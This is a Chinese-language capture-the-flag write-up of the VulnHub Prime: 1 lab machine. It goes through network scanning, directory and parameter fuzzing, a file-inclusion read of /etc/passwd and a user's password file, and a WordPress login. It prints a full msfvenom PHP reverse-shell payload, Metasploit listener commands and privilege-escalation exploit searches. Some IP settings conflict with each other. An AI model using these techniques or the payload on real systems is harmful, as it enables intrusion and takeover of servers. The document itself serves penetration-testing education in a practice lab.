prime_series_level-1靶场详解

目录

1.2 下载 Prime Series Level-1 靶机

1.3 导入靶机到虚拟化环境

1.3.1 导入到 VMware

1.4 配置网络设置

1.4.1 VMware 网络配置

1.4.2 VirtualBox 网络配置

1.6 准备攻击环境

1.6.1 下载并安装 Kali Linux

1.6.2 确认网络连接

1.7 故障排除

1.8 下一步

2. 漏洞利用步骤

2.1 网络扫描与信息收集

2.1.1 使用 arp-scan 确定靶机 IP

2.1.2 使用 nmap 扫描端口

2.2 Web 应用扫描与漏洞发现

2.2.1 访问 Web 服务

2.2.2 使用 dirb 扫描目录

2.2.3 发现关键文件

2.2.4 使用 wfuzz 爆破参数

2.3 文件包含漏洞利用

2.3.1 访问 location.txt

2.3.2 使用 secrettier360 参数

2.3.3 利用文件包含漏洞读取敏感文件

2.4 WordPress 漏洞利用

2.4.3 登录 WordPress

2.4.4 上传反弹 shell

2.4.5 设置 Metasploit 监听器

2.4.6 触发反弹 shell

2.5 权限提升

2.5.1 收集系统信息

2.5.2 搜索内核漏洞

2.5.3 获取并编译 exploit

脏牛尝试也不行

google大法

2.6 rootbash

2.6.1 现在要进一步开始尝试改密码

2.6.2 怎么才可以弹shell是root权限的shell

2.6 总结

本篇文章详细介绍了 Prime Series Level-1 靶机的完整复现过程,包括环境设置、漏洞利用步骤、命令详细解释。

1.2 下载 Prime Series Level-1 靶机

Prime Series Level-1 靶机可以从 Vulnhub 网站下载。Vulnhub 是一个提供各种可下载的靶机镜像的平台,专为安全学习和渗透测试练习设计。

  1. 访问 Vulnhub 网站上的 Prime Series Level-1 页面:Prime: 1 ~ VulnHub
  1. 在页面上找到下载链接,通常标记为 "Download" 或 "Mirror"。
  1. 点击链接开始下载靶机镜像文件(通常是 .ova 或 .zip 格式)。
  1. 下载可能需要一些时间,取决于您的网络速度,文件大小通常在 500MB 到 2GB 之间。
  1. 如果下载的是 .zip 文件,请在下载完成后解压缩,获取 .ova 或 .vmdk 文件。

1.3 导入靶机到虚拟化环境

下载完成后,我们需要将靶机导入到虚拟化环境中。

1.3.1 导入到 VMware

  1. 打开 VMware Workstation/Player。
  1. 点击 "文件" > "打开"(或使用快捷键 Ctrl+O)。
  1. 浏览并选择您下载的 .ova 文件(如果是 .vmdk 文件,则需要创建新虚拟机并使用现有虚拟磁盘)。
  1. 在导入向导中,您可以修改虚拟机名称和存储位置,或保留默认设置。
  1. 点击 "导入" 按钮开始导入过程。
  1. 导入完成后,虚拟机将出现在您的虚拟机库中。

1.4 配置网络设置

为了能够与靶机进行交互,我们需要正确配置网络设置。最常用的设置是使用 NAT 网络或主机专用网络。

1.4.1 VMware 网络配置

  1. 在 VMware 中选择导入的靶机,右键点击并选择 "设置"。
  1. 选择 "网络适配器" 选项。
  1. 选择 "NAT" 或 "仅主机模式" 网络。
    • NAT:允许虚拟机访问外部网络,同时通过主机的 IP 地址隐藏虚拟机。
    • 仅主机模式:创建一个隔离的网络,只有主机和虚拟机可以相互通信,虚拟机无法访问外部网络。
  1. 点击 "确定" 保存设置。

1.4.2 VirtualBox 网络配置

  1. 在 VirtualBox 中选择导入的靶机,右键点击并选择 "设置"。
  1. 选择 "网络" 选项卡。
  1. 在 "连接方式" 下拉菜单中,选择 "NAT" 或 "仅主机网络"。
    • NAT:允许虚拟机访问外部网络,同时通过主机的 IP 地址隐藏虚拟机。
    • 仅主机网络:创建一个隔离的网络,只有主机和虚拟机可以相互通信,虚拟机无法访问外部网络。
  1. 点击 "确定" 保存设置。

1.6 准备攻击环境

为了对靶机进行渗透测试,我们需要一个攻击环境。Kali Linux 是最常用的渗透测试操作系统,包含了大量预装的安全工具。

1.6.1 下载并安装 Kali Linux

  1. 访问 Kali Linux 官方网站 (Get Kali | Kali Linux) 下载 Kali Linux 虚拟机镜像。
  1. 选择适合您虚拟化软件的版本(VMware 或 VirtualBox)。
  1. 下载完成后,按照与靶机相同的方式导入 Kali Linux 虚拟机。
  1. 配置 Kali Linux 的网络设置,确保与靶机在同一网络中(使用相同的 NAT 或仅主机网络)。
  1. 启动 Kali Linux 虚拟机,默认用户名为 "kali",密码为 "kali"。

1.6.2 确认网络连接

在开始渗透测试之前,我们需要确认 Kali Linux 和靶机之间的网络连接正常。

  1. 在 Kali Linux 中打开终端。
  1. 使用以下命令扫描本地网络,找到靶机的 IP 地址:
┌──(root㉿kali)-[/home/kali/桌面]
└─# arp-scan -l                                       
Interface: eth0, type: EN10MB, MAC: 00:0c:29:f0:80:a2, IPv4: 61.139.2.130
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
61.139.2.1      00:50:56:c0:00:08       VMware, Inc.
61.139.2.2      00:50:56:f2:4b:f1       VMware, Inc.
61.139.2.129    00:0c:29:aa:91:52       VMware, Inc.
61.139.2.254    00:50:56:fa:62:8f       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.093 seconds (122.31 hosts/sec). 4 responded
    • 61.139.2.1 (VMware) - 很可能是网关
    • 61.139.2.2 (VMware) - 可能是网络设备或服务器
    • 61.139.2.254 (VMware) - 可能是备用网关或路由器
    • 61.139.2.130 - Kali机器
    • MAC地址前缀00:0C:29是VMware分配给虚拟机客户机的标准前缀
  1. 命令执行后,您将看到网络中的所有设备,包括靶机。记下靶机的 IP 地址,我们将在后续步骤中使用它。
  1. 可以使用 nmap 进行扫描:
┌──(root㉿kali)-[/home/kali/桌面]
└─# nmap -sn 61.139.2.0/24
Starting Nmap 7.94 ( https://nmap.org ) at 2025-03-25 10:04 CST 

Stats: 0:00:01 elapsed; 0 hosts completed (0 up), 255 undergoing ARP Ping Scan
ARP Ping Scan Timing: About 50.78% done; ETC: 10:04 (0:00:01 remaining)

Stats: 0:00:01 elapsed; 0 hosts completed (0 up), 255 undergoing ARP Ping Scan
ARP Ping Scan Timing: About 53.14% done; ETC: 10:04 (0:00:01 remaining)
Nmap scan report for 61.139.2.1
Host is up (0.00019s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 61.139.2.2
Host is up (0.000099s latency).
MAC Address: 00:50:56:F2:4B:F1 (VMware)

Nmap scan report for 61.139.2.129
Host is up (0.00017s latency).
MAC Address: 00:0C:29:AA:91:52 (VMware)

Nmap scan report for 61.139.2.254
Host is up (0.00011s latency).
MAC Address: 00:50:56:FA:62:8F (VMware)

Nmap scan report for 61.139.2.130
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.64 seconds
#显示扫描的总IP数量、发现的活跃主机数量和总扫描时间

#显示nmap版本、扫描开始时间和时区 #显示扫描已进行的时间、完成的主机数量和当前扫描状态 #对每个发现的活跃主机显示IP地址、响应延迟和MAC地址
#延迟时间(latency)表示主机响应速度,通常本地网络延迟很低 #没有显示延迟和MAC地址,这可能是扫描机器自身,nmap不会对自己进行ARP扫描

1.7 故障排除

如果在设置过程中遇到问题,以下是一些常见问题的解决方案:

1.8 下一步

环境设置完成后,准备好开始对 Prime Series Level-1 靶机进行渗透测试。接下来的步骤将包括:

  1. 网络扫描和信息收集
  1. 漏洞发现和利用
  1. 权限提升
  1. 后渗透测试活动

这些步骤将在后续的章节中详细介绍。

2. 漏洞利用步骤

2.1 网络扫描与信息收集

在开始渗透测试之前,我们需要先确定靶机的 IP 地址并扫描开放的端口,以便了解可能的攻击面。

2.1.1 使用 arp-scan 确定靶机 IP

首先,我们使用 arp-scan 工具扫描本地网络,找出靶机的 IP 地址:

┌──(root㉿kali)-[/home/kali/桌面]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:f0:80:a2, IPv4: 61.139.2.130
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
61.139.2.1      00:50:56:c0:00:08       VMware, Inc.
61.139.2.2      00:50:56:f2:4b:f1       VMware, Inc.
61.139.2.129    00:0c:29:aa:91:52       VMware, Inc.
61.139.2.132    00:0c:29:09:89:47       VMware, Inc.
61.139.2.254    00:50:56:fa:62:8f       VMware, Inc.

5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.282 seconds (112.18 hosts/sec). 5 responded
  • sudo:以管理员权限运行命令,因为 ARP 扫描需要直接访问网络接口
  • arp-scan:调用 ARP 扫描工具
  • -l:表示"本地网络"(local network),扫描与当前主机位于同一子网的所有设备

这个命令会扫描本地网络中的所有设备,并显示它们的 IP 地址和 MAC 地址。在输出结果中,我们需要找到靶机的 IP 地址。在本例中,靶机的 IP 地址是 61.139.2.132

2.1.2 使用 nmap 扫描端口

确定靶机 IP 后,我们使用 nmap 扫描靶机开放的端口,以了解可能的服务和攻击面:

# 快速扫描方式  nmap -sS -T5 --min-rate 10000 61.139.2.132 -sC -p-
┌──(root㉿kali)-[/home/kali/桌面]
└─#  nmap -sS -T5 --min-rate 10000 61.139.2.132 -sC -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2025-03-25 11:08 CST
Nmap scan report for 61.139.2.132
Host is up (0.00094s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey: 
|   2048 8d:c5:20:23:ab:10:ca:de:e2:fb:e5:cd:4d:2d:4d:72 (RSA)
|   256 94:9c:f8:6f:5c:f1:4c:11:95:7f:0a:2c:34:76:50:0b (ECDSA)
|_  256 4b:f6:f1:25:b6:13:26:d4:fc:9e:b0:72:9f:f4:69:68 (ED25519)
80/tcp open  http
|_http-title: HacknPentest
MAC Address: 00:0C:29:09:89:47 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 7.18 seconds

这些命令的参数解释:

  • -sS:使用 TCP SYN 扫描(半开扫描)
  • -T5:设置扫描速度为最快(T5)
  • --min-rate 10000:设置最小发包速率
  • -sC:使用默认脚本进行扫描 相当于 --script=default
                                      ( nmap使用默认的脚本集进行扫描)
  • -p-:扫描所有端口(1-65535)与其他端口扫描参数的比较
    • -p- vs -p 1-65535:这两者功能完全相同,都是扫描全部端口
    • -p- vs 默认扫描:默认情况下,nmap只扫描最常见的1000个端口
    • -p- vs -F(快速扫描):快速扫描只检查最常见的100个端口
    • 示范-p 1-1000
  • -A:启用操作系统检测、版本检测、脚本扫描和路由跟踪
  • -sV:探测开放端口以确定服务/版本信息
  • -T4:设置扫描速度为较快(T4)

扫描结果显示靶机开放了两个端口:

  • 22/tcp:SSH 服务
  • 80/tcp:HTTP 服务(Web 服务器)

扫描不到端口,

  • 2.2 Web 应用扫描与漏洞发现

2.2 Web 应用扫描与漏洞发现

既然我们发现靶机运行了 Web 服务,接下来我们将对 Web 应用进行扫描和分析,寻找可能的漏洞。

2.2.1 访问 Web 服务

首先,我们在浏览器中访问靶机的 Web 服务:

http://61.139.2.132:80

查看网页内容和源代码,寻找可能的线索。在本例中,初始页面没有提供太多有用信息。

2.2.2 使用 dirb 扫描目录

接下来,我们使用 dirb 工具扫描网站目录,寻找隐藏的文件和目录:

┌──(root㉿kali)-[/home/kali/桌面]
└─# dirb http://61.139.2.132/  

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue Mar 25 11:12:03 2025
URL_BASE: http://61.139.2.132/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://61.139.2.132/ ----
+ http://61.139.2.132/dev (CODE:200|SIZE:131)                                                              
+ http://61.139.2.132/index.php (CODE:200|SIZE:136)                                                        
==> DIRECTORY: http://61.139.2.132/javascript/                                                             
+ http://61.139.2.132/server-status (CODE:403|SIZE:277)                                                    
==> DIRECTORY: http://61.139.2.132/wordpress/                                                              
                                                                                                           
---- Entering directory: http://61.139.2.132/javascript/ ----
==> DIRECTORY: http://61.139.2.132/javascript/jquery/                                                      
                                                                                                           
---- Entering directory: http://61.139.2.132/wordpress/ ----
+ http://61.139.2.132/wordpress/index.php (CODE:301|SIZE:0)                                                
==> DIRECTORY: http://61.139.2.132/wordpress/wp-admin/                                                     
==> DIRECTORY: http://61.139.2.132/wordpress/wp-content/                                                   
==> DIRECTORY: http://61.139.2.132/wordpress/wp-includes/                                                  
+ http://61.139.2.132/wordpress/xmlrpc.php (CODE:405|SIZE:42)                                              
                                                                                                           
---- Entering directory: http://61.139.2.132/javascript/jquery/ ----
+ http://61.139.2.132/javascript/jquery/jquery (CODE:200|SIZE:284394)                                      
                                                                                                           
---- Entering directory: http://61.139.2.132/wordpress/wp-admin/ ----
+ http://61.139.2.132/wordpress/wp-admin/admin.php (CODE:302|SIZE:0)                                       
==> DIRECTORY: http://61.139.2.132/wordpress/wp-admin/css/                                                 
==> DIRECTORY: http://61.139.2.132/wordpress/wp-admin/images/                                              
==> DIRECTORY: http://61.139.2.132/wordpress/wp-admin/includes/                                            
+ http://61.139.2.132/wordpress/wp-admin/index.php (CODE:302|SIZE:0)                                       
==> DIRECTORY: http://61.139.2.132/wordpress/wp-admin/js/                                                  
==> DIRECTORY: http://61.139.2.132/wordpress/wp-admin/maint/                                               
==> DIRECTORY: http://61.139.2.132/wordpress/wp-admin/network/                                             
==> DIRECTORY: http://61.139.2.132/wordpress/wp-admin/user/                                                
                                                                                                           
---- Entering directory: http://61.139.2.132/wordpress/wp-content/ ----
+ http://61.139.2.132/wordpress/wp-content/index.php (CODE:200|SIZE:0)                                     
==> DIRECTORY: http://61.139.2.132/wordpress/wp-content/plugins/                                           
==> DIRECTORY: http://61.139.2.132/wordpress/wp-content/themes/                                            
==> DIRECTORY: http://61.139.2.132/wordpress/wp-content/uploads/                                           
                                                                                                           
---- Entering directory: http://61.139.2.132/wordpress/wp-includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                           
---- Entering directory: http://61.139.2.132/wordpress/wp-admin/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                           
---- Entering directory: http://61.139.2.132/wordpress/wp-admin/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                           
---- Entering directory: http://61.139.2.132/wordpress/wp-admin/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                           
---- Entering directory: http://61.139.2.132/wordpress/wp-admin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                           
---- Entering directory: http://61.139.2.132/wordpress/wp-admin/maint/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                           
---- Entering directory: http://61.139.2.132/wordpress/wp-admin/network/ ----
+ http://61.139.2.132/wordpress/wp-admin/network/admin.php (CODE:302|SIZE:0)                               
+ http://61.139.2.132/wordpress/wp-admin/network/index.php (CODE:302|SIZE:0)                               
                                                                                                           
---- Entering directory: http://61.139.2.132/wordpress/wp-admin/user/ ----
+ http://61.139.2.132/wordpress/wp-admin/user/admin.php (CODE:302|SIZE:0)                                  
+ http://61.139.2.132/wordpress/wp-admin/user/index.php (CODE:302|SIZE:0)                                  
                                                                                                           
---- Entering directory: http://61.139.2.132/wordpress/wp-content/plugins/ ----
+ http://61.139.2.132/wordpress/wp-content/plugins/index.php (CODE:200|SIZE:0)                             
                                                                                                           
---- Entering directory: http://61.139.2.132/wordpress/wp-content/themes/ ----
+ http://61.139.2.132/wordpress/wp-content/themes/index.php (CODE:200|SIZE:0)                              
                                                                                                           
---- Entering directory: http://61.139.2.132/wordpress/wp-content/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Tue Mar 25 11:13:21 2025
DOWNLOADED: 46120 - FOUND: 15
                                  

dirb 会使用默认字典对网站进行目录扫描。扫描结果显示了一些有趣的目录,包括:

  • /dev - 开发目录,通常包含测试文件或开发中的内容

  • /index.php - 网站主页

  • /wordpress/ - WordPress安装目录

  • WordPress版本识别:
wpscan --url http://61.139.2.132/wordpress
    • 识别WordPress版本
    • 扫描已知漏洞和弱点
┌──(root㉿kali)-[/home/kali/桌面]
└─# nikto -h http://61.139.2.132
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          61.139.2.132
+ Target Hostname:    61.139.2.132
+ Target Port:        80
+ Start Time:         2025-03-25 11:13:57 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version.
+ /wordpress/wp-links-opml.php: This WordPress script reveals the installed version.
+ /wordpress/wp-admin/: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ /wordpress/: Drupal Link header found with value: <http://61.139.2.132/wordpress/index.php?rest_route=/>; rel="https://api.w.org/". See: https://www.drupal.org/
+ /wordpress/: A Wordpress installation was found.
+ /wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /wordpress/wp-content/uploads/: Directory indexing found.
+ /wordpress/wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information.
+ /wordpress/wp-login.php: Wordpress login found.
+ 8102 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time:           2025-03-25 11:14:23 (GMT8) (26 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
    1. 服务器信息:
      • Apache/2.4.18 (Ubuntu) - 过时的Apache版本,可能存在漏洞
      • 缺少安全相关的HTTP头(X-Frame-Options, X-Content-Type-Options)
    1. WordPress信息:
      • 确认存在WordPress安装
      • 通过wp-links-opml.php可以获取WordPress版本5.2.2

  • 看看这个版本的历史漏洞
┌──(root㉿kali)-[/home/kali/桌面]
└─# searchsploit wordpress 5.2.2
------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                    |  Path
------------------------------------------------------------------------------------------------------------------ ---------------------------------
NEX-Forms WordPress plugin < 7.9.7 - Authenticated SQLi                                                           | php/webapps/51042.txt
Wordpress Core 5.2.2 - 'post previews' XSS                                                                        | php/webapps/49338.txt
WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts                                           | multiple/webapps/47690.md
WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service                                                           | php/dos/47800.py
WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities                                               | php/webapps/39553.txt
WordPress Plugin iThemes Security < 7.0.3 - SQL Injection                                                         | php/webapps/44943.txt
WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection                                                       | php/webapps/48918.sh
  • /javascript/ - JavaScript文件目录

WordPress结构:

  • 完整的WordPress安装,包含标准目录结构:
    • /wordpress/wp-admin/ - 管理后台这里直接尝试访问 http://61.139.2.132/wordpress/wp-login.php

    • 看到这个登录框可以尝试爆破, wpscan --url http://61.139.2.132/wordpress --enumerate u,p,t 得到用户victor,但是密码多种方式都爆破不出来,只能后面再尝试了
    • 在靶机里面也能看到

    • /wordpress/wp-content/ - 主题、插件和上传内容
    • /wordpress/wp-includes/ - WordPress核心文件

      这里访问尝试

我们还可以使用过滤器扫描特定类型的文件:

dirb http://192.168.236.136 -X .txt,.php,.zip
                                                                                                            
┌──(root㉿kali)-[/home/kali/桌面]
└─# dirb http://61.139.2.132 -X .txt,.php,.zip

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue Mar 25 11:27:13 2025
URL_BASE: http://61.139.2.132/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.txt,.php,.zip) | (.txt)(.php)(.zip) [NUM = 3]

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://61.139.2.132/ ----
+ http://61.139.2.132/image.php (CODE:200|SIZE:147)                                                        
+ http://61.139.2.132/index.php (CODE:200|SIZE:136)                                                        
+ http://61.139.2.132/secret.txt (CODE:200|SIZE:412)                                                       
                                                                                                           
-----------------
END_TIME: Tue Mar 25 11:27:25 2025
DOWNLOADED: 13836 - FOUND: 3
                                

2.2.3 发现关键文件

通过扫描和分析,我们发现了三个关键文件:

  • index.php
  • image.php
  • secret.txt

尝试访问这些文件,发现提示需要找到 location.txt 文件才能进行下一步。

2.2.4 使用 wfuzz 爆破参数

为了找到正确的参数,我们使用 wfuzz 工具进行参数爆破:

┌──(root㉿kali)-[/home/kali/桌面]
└─# wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://61.139.2.132/index.php?FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://61.139.2.132/index.php?FUZZ
Total requests: 951

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                            
=====================================================================

000000013:   200        7 L      12 W       136 Ch      "200"                                                                              
000000006:   200        7 L      12 W       136 Ch      "1"                                                                                
000000008:   200        7 L      12 W       136 Ch      "100"                                                                              
000000015:   200        7 L      12 W       136 Ch      "2001"                                                                             
000000002:   200        7 L      12 W       136 Ch      "00"                                                                               
000000005:   200        7 L      12 W       136 Ch      "03"                                                                               
000000003:   200        7 L      12 W       136 Ch      "01"                                                                               
000000011:   200        7 L      12 W       136 Ch      "2"                                                                                
000000004:   200        7 L      12 W       136 Ch      "02"                                                                               
000000016:   200        7 L      12 W       136 Ch      "2002"  
………………………………………………………………………………………………………………………………………………………………   

这个命令会尝试使用字典中的每个单词作为参数名,发送请求到目标 URL。

由于所有响应的长度都相同,我们需要过滤出不同的响应:

┌──(root㉿kali)-[/home/kali/桌面]
└─# wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12  http://61.139.2.132/index.php?FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://61.139.2.132/index.php?FUZZ
Total requests: 951

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                            
=====================================================================

000000341:   200        7 L      19 W       206 Ch      "file"                                                                             

Total time: 0
Processed Requests: 951
Filtered Requests: 950
Requests/sec.: 0

参数 --hw 12 表示隐藏字数为 12 的响应,这样可以过滤出不同的响应。

2.3 文件包含漏洞利用

通过前面的扫描和分析,我们发现了可能存在的文件包含漏洞,接下来我们将利用这个漏洞获取更多信息。

2.3.1 访问 location.txt

根据提示,我们尝试访问 location.txt 文件:

http://61.139.2.132/index.php?file=location.txt

访问后,我们得到了一个提示:secrettier360 是正确的参数,file 只是过渡参数。

2.3.2 使用 secrettier360 参数

接下来,我们尝试使用 secrettier360 参数:

http://61.139.2.132/index.php?secrettier360=123

发现index.php不能接,突然想到还有个images.php,尝试发现 image.php 接受这个参数,并提示我们找到了正确的参数。

2.3.3 利用文件包含漏洞读取敏感文件

既然我们找到了正确的参数,接下来我们可以尝试读取系统敏感文件:

http://61.139.2.132/image.php?secrettier360=/etc/passwd

这个命令会尝试读取系统的 /etc/passwd 文件,这是一个包含用户账户信息的文件。

可疑用户分析

saket:x:1001:1001:find password.txt file in my directory:/home/saket: 

潜在风险点:

  • saket 账户的 comment 字段中出现了 find password.txt file in my directory可能是提示信息或者植入的后门
  • saket 用户没有指定 Shell,意味着该用户无法正常登录,但可能存在安全风险。

接下来,我们尝试读取这个密码文件:

http://61.139.2.132/image.php?secrettier360=/home/saket/password.txt
#若查看不到,换为目录遍历尝试
http://61.139.2.132/image.php?secrettier360=../../../home/saket/password.txt

成功读取到密码文件,内容是一串特殊字符:follow_the_ippsec

ssh连不上victor和saket

2.4 WordPress 漏洞利用

前面的扫描发现靶机上运行了 WordPress,接下来我们将尝试利用 WordPress 获取系统访问权限。

2.4.3 登录 WordPress

我们尝试使用之前找到的密码登录 WordPress:

  1. 访问 WordPress 登录页面:http://61.139.2.132/wordpress/wp-login.php
  1. victor follow_the_ippsec

成功登录到 WordPress 管理后台。

2.4.4 上传反弹 shell

现在我们已经获得了 WordPress 管理员权限,接下来我们可以上传一个反弹 shell 来获取系统访问权限。

首先,我们使用 msfvenom 生成一个 PHP 反弹 shell:

msfvenom -p php/meterpreter/reverse_tcp lhost=61.139.2.132 lport=7777 -o shell.php

这个命令会生成一个 PHP 反弹 shell,其中:

  • -p php/meterpreter/reverse_tcp:指定 payload 类型
  • lhost=192.168.236.128:指定攻击者的 IP 地址(替换为您的 Kali Linux IP)
  • lport=7777:指定监听端口
  • -o shell.php:指定输出文件名
┌──(root㉿kali)-[/home/kali/桌面]
└─# cat shell.php            
/*<?php /**/ error_reporting(0); $ip = '61.139.2.130'; $port = 7777; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();      

2.4.5 设置 Metasploit 监听器

在触发反弹 shell 之前,我们需要设置 Metasploit 监听器:

# 启动 msfconsole
msfconsole

# 使用 multi/handler 模块
use exploit/multi/handler

# 设置 payload
set payload php/meterpreter/reverse_tcp

# 设置监听 IP(您的 Kali Linux IP)
set lhost 192.168.236.128

# 设置监听端口
set lport 7777

# 启动监听器
run

2.4.6 触发反弹 shell

设置好监听器后,我们访问上传的 PHP 文件来触发反弹 shell:

http://61.139.2.132/wordpress/wp-content/themes/twentynineteen/secret.php

成功触发后,我们将在 Metasploit 控制台中获得一个 meterpreter 会话,这意味着我们已经获得了对靶机的初始访问权限。

2.5 权限提升

获得初始访问权限后,我们的目标是提升权限,获得 root 权限。

2.5.1 收集系统信息

首先,我们需要收集系统信息,了解可能的提权途径:

shell #进入shell交互式
 
whoami      
www-data

uname -a
Linux ubuntu 4.15.0-142-generic #146~16.04.1-Ubuntu SMP Tue Apr 13 09:27:15 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

cat /etc/issue
Ubuntu 16.04.3 LTS \n \l

#查看有没有符合版本的,这里发现有这种版本
msf6 > searchsploit 16.04 Ubuntu
[*] exec: searchsploit 16.04 Ubuntu
---------------------------------------------------- ---------------------------------
 Exploit Title                                      |  Path
---------------------------------------------------- ---------------------------------
Apport 2.x (Ubuntu Desktop 12.10 < 16.04) - Local C | linux/local/40937.txt
Exim 4 (Debian 8 / Ubuntu 16.04) - Spool Privilege  | linux/local/40054.c
Google Chrome (Fedora 25 / Ubuntu 16.04) - 'tracker | linux/local/40943.txt
LightDM (Ubuntu 16.04/16.10) - 'Guest Account' Loca | linux/local/41923.txt
Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/1 | linux_x86-64/local/42275.c
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/ | linux_x86/local/42276.c
Linux Kernel (Ubuntu 16.04) - Reference Count Overf | linux/dos/39773.txt
Linux Kernel 4.14.7 (Ubuntu 16.04 / CentOS 7) - (KA | linux/local/45175.c
Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Local Privi | linux/local/40759.rb
Linux Kernel 4.4 (Ubuntu 16.04) - 'snd_timer_user_c | linux/dos/46529.c
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'A | linux_x86-64/local/40871.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilte | linux_x86-64/local/40049.c
Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.0 | windows_x86-64/local/47170.c
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput() | linux/local/39772.txt
Linux Kernel 4.6.2 (Ubuntu 16.04.1) - 'IP6T_SO_SET_ | linux/local/40489.txt
Linux Kernel 4.8 (Ubuntu 16.04) - Leak sctp Kernel  | linux/dos/45919.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) -  | linux/local/45010.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local P | linux/local/44298.c
